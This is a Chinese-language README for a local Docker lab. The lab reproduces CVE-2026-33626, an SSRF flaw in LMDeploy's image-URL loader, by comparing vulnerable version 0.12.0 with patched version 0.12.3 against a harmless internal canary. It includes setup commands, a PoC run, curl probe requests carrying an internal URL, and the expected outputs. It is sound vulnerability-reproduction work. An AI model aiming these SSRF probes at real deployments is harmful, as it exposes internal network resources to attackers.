本仓库重现了 CVE-2026-33626,即 LMDeploy 视觉语言图像加载路径中的服务器端请求伪造(SSRF)漏洞。
漏洞行为发生在 LMDeploy 接收图像 URL 时,服务器端图像加载器在不正确阻止内部、私有、回环或链路本地地址的情况下直接获取该 URL。
本实验环境对比:
| 服务 | 版本 | 用途 |
|---|---|---|
vuln | LMDeploy 0.12.0 | 展示存在漏洞的行为 |
patched | LMDeploy 0.12.3 | 展示修复后的行为 |
internal | 本地金丝雀服务 | 模拟 Docker 网络内的仅内部可访问资源 |
本实验环境设计为本地使用 Docker Compose 运行,不会联系云元数据端点或外部目标。
LMDeploy 支持视觉语言工作流,其中图像可以从用户提供的 URL 加载。在存在漏洞的版本中,图像加载代码可以获取解析到内部/私有网络地址的 URL。
这允许能够访问 LMDeploy 端点的攻击者使服务器请求内部资源,例如:
在本实验环境中,内部目标是无害的:
http://internal:9000/private.png
该 URL 仅存在于 Docker Compose 网络内部。
PoC 脚本
|
| 发送图像 URL
v
vuln / patched 服务
|
| 调用 lmdeploy.vl.load_image(url)
v
内部金丝雀服务
本实验环境不运行完整的 VLM 推理服务器。相反,它通过以下调用隔离了存在漏洞的 LMDeploy 图像加载原语:
from lmdeploy.vl import load_image
load_image(url)
这使得重现轻量且确定,同时仍然展示了被修复的安全行为。
.
├── docker-compose.yml
├── internal
│ ├── Dockerfile
│ └── server.py
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── vuln
│ └── Dockerfile
└── README.md
在 Docker 网络内部,内部金丝雀可通过以下地址访问:
http://internal:9000/private.png
在 Apple Silicon 上,vuln 和 patched 服务将以 linux/amd64 运行,因为本实验环境中使用的 LMDeploy wheel 是 x86_64 架构的。
构建并启动服务:
docker compose up -d --build
检查容器状态:
docker compose ps
预期状态:
cve-2026-33626-internal Up
cve-2026-33626-vuln Up (healthy)
cve-2026-33626-patched Up (healthy)
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq
预期输出:
{
"lmdeploy_version": "0.12.0",
"expected_role": "vulnerable"
}
{
"lmdeploy_version": "0.12.3",
"expected_role": "patched"
}
{
"hits": []
}
创建虚拟环境并安装依赖:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
运行 PoC:
python poc/poc.py
默认的 SSRF 目标是:
http://internal:9000/private.png
该目标可从 Docker 容器内部访问,而非公共互联网。
存在漏洞的服务应成功获取内部金丝雀图像:
{
"service": "vulnerable",
"probe_http_status": 200,
"probe_response": {
"ok": true,
"result": "lmdeploy.vl.load_image() fetched and decoded the URL",
"lmdeploy_version": "0.12.0"
},
"internal_hit_count": 1
}
这确认了 LMDeploy 0.12.0 向内部 Docker 服务发起了服务器端请求。
已修复的服务应在到达内部服务之前阻止同一 URL:
{
"service": "patched",
"probe_http_status": 400,
"probe_response": {
"ok": false,
"error_type": "ValueError",
"error": "URL is blocked for security reasons: Blocked non-global IP detected",
"lmdeploy_version": "0.12.3"
},
"internal_hit_count": 0
}
这确认了 LMDeploy 0.12.3 会阻止解析到非全局/内部 IP 地址的 URL。
最终预期摘要:
[+] Expected result confirmed:
vulnerable service fetched the internal canary
patched service blocked before reaching the internal canary
重置内部金丝雀:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
测试存在漏洞的服务:
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
预期:/hits 包含一个请求。
测试已修复的服务:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
预期:/hits 保持为空。
PoC 并非直接以攻击者身份请求内部服务。
相反,PoC 将内部 URL 发送给 LMDeploy。如果 LMDeploy 从容器网络内部获取该 URL,内部金丝雀会记录该请求。
该行为证明了 SSRF 原语:
攻击者控制的 URL
↓
LMDeploy 服务器端图像加载器
↓
对内部网络资源的请求
已修复版本通过拒绝解析到非全局 IP 地址的 URL 来防止此问题。
docker compose down -v
GitHub 安全公告:GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
NVD:CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626
修复提交:71d64a339edb901e9005358e0633fbbab367d626
https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626
| 服务 | 主机 URL | 容器端口 | 描述 |
|---|
vuln | http://127.0.0.1:8081 | 8000 | LMDeploy 0.12.0 封装 |
patched | http://127.0.0.1:8082 | 8000 | LMDeploy 0.12.3 封装 |
internal | http://127.0.0.1:8090 | 9000 | 内部金丝雀服务 |